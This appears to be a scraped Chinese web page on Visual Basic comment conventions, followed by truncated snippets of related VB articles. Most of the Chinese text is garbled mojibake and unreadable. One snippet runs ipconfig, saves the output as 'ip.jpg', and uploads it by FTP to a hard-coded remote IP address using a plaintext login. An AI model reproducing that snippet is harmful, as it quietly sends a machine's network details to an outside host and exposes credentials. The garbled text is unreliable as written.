vb±ê×¼£¨¶þ£©£º´úÂëµÄ×¢ÊÍ
·×¢ÊÍÄÜʹעÊÍÄÜʹ´úÂë¸ü¼ÓÈÝÒ×Àí½â£¬¸ü¼ÓÈÝÒ׸ú×Ù¡£
·³öÉ«µÄ×¢Ê;ÍÏñÒ»·ùºÃµÄÉè¼ÆÀ¶Í¼£¬Äܹ»Òýµ¼ÔĶÁÕßͨ¹ýÄãµÄÓ¦ÓóÌÐòµÄÇúÕÛÖ®´¦£¬Äܹ»ËµÃ÷Ô¤ÆÚµÄÔËÐнá¹ûºÍ¿ÉÄܳöÏÖµÄÒì³£Çé¿ö¡£
·±à³ÌÔÔò
·ÓÃÎÄ×Ö˵Ã÷´úÂëµÄ×÷ÓÃ
·±àд·Ç³£³öÉ«µÄ×¢ÊÍ
·¼òµ¥µÄÖØ¸´´úÂë×öЩʲôûÓÐÒâÒå
·ÓÃ×¢ÊÍÀ´ËµÃ÷ºÎʱ¿ÉÄܳö´íºÍΪʲô³ö´í
·ÔÚ±àд´úÂëǰ½øÐÐ×¢ÊÍ
·±àдһ¸ö¹ý³ÌǰÊ×ÏÈдÉÏ×¢ÊÍ
·¿ÉÒÔ±àдÍêÕû¾ä×ÓµÄ×¢ÊÍ»òα´úÂë
·ÔöǿעÊ͵ĿɶÁÐÔ
·×¢ÊÍÊǹ©ÈËÔĶÁ£¬¶ø²»ÊǼÆËã»úÔĶÁµÄ£¬Ó¦¸Ã±ãÓÚÈËÃÇÀí½â
·Ê¹ÓÃÍêÕûÓï¾ä
·±ÜÃâʹÓÃËõд
·½«Õû¸öµ¥´Ê´óд£¬ÒÔÍ»³öËüÃǵÄÖØÒª
·¶Ô×¢ÊͽøÐÐËõ½ø£¬Ê¹Ö®ÓëºóËæµÄÓï¾ä¶ÔÆë
·ÎªÃ¿¸ö¹ý³Ì¸³ÓèÒ»¸ö×¢ÊͱêÍ·
·²ÉÓÃÏàͬµÄ¸ñʽ»¯·½·¨
·Ê¹ÓÃÄÚ²¿×¢ÊÍÀ´ËµÃ÷´úÂë½ø³Ì
·ÔÚÿ¸öifÓï¾äµÄÇ°Ãæ¼ÓÉÏ×¢ÊÍ
·ÔÚÿ¸öselect caseÓï¾äÇ°Ãæ¼ÓÉÏ×¢ÊÍ
·ÔÚÿ¸öÑ»·µÄÇ°Ãæ¼ÓÉÏ×¢ÊÍ
·ÔÚÐÞ¸ÄÁËÈ«¾Ö±äÁ¿µÄÿ¸öÓï¾äǰ¼ÓÉÏ×¢ÊÍ
Ïà¹ØÎĵµ£º
Option Explicit
Private Type BROWSEINFO
hOwner As Long
pidlRoot As Long
pDisplayName As String
lpTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type
Private Declare Function SHGetPathfromIDList Lib "shell32.dll" Alias _
"SHGetPa ......
×î½ü¸Õѧ»áÔÚVB2008 ÖÐʹÓòÎÊý»¯SQLÓï¾ä£¬ÓÚÊÇÂíÉÏÓõ½´úÂëÖУ¬È´Åöµ½²é²»µ½ÈκÎÊý¾ÝµÄÇé¿ö£¬¾À½áÁ˺ü¸Ì죬»¹ÊÇûÓиãÃ÷°×£¬²îµãÍÂѪ¡£²»µÃÒÑ»¹ÊÇÏÈÔÚ´úÂëÖÐʹÓÃ×Ö·û´®Æ´½ÓµÄSQLÓï¾ä¡£
°üº¬²ÎÊý»¯SQLÓï¾äµÄ´úÂëÈçÏ£º
Dim cmSl As N ......
VB ×Ö½ÚÊý×éºÍ×Ö·û´®µÄת»»ÎÊÌâ (String<>Byte)
Posted by JiaJia 16 March,2009 (2)Comment
Ò»¡¢ ǰÑÔ
¡¡¡¡ Êý¾ÝÀàÐÍת»»ÔÚ±à³ÌÖо³£Óõ½£¬VB6ÌṩÁËÒ»ÕûÌ×ÀàÐÍת»»µÄº¯Êý¡£µ«ÊÇ£¬ÔÚ½øÐÐÀàÐÍת»»Ê±£¬ÓÐʱºò½ö½öÒÀ¿¿VBÌṩµÄº¯ÊýÊDz»ÄÜ´ïµ½×Ô¼ºµÄÄ¿µÄµÄ¡£Òò´Ë£¬ÐèÒª¿¼ÂÇÓÃÆäËûµÄ·½·¨À´Íê³ÉÊý¾ÝÀàÐÍת»»¡£±¾ÎĽ ......
ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
Public Function IsValidIPAddress(ByVal strIPAddress As String) As Boolean
On Error GoTo Handler
Dim varAddress As Variant, n As Long, lCount As Long
varAddress = Split(strIPAddress, ".", , vbTextCompare)
If IsArray(varAd ......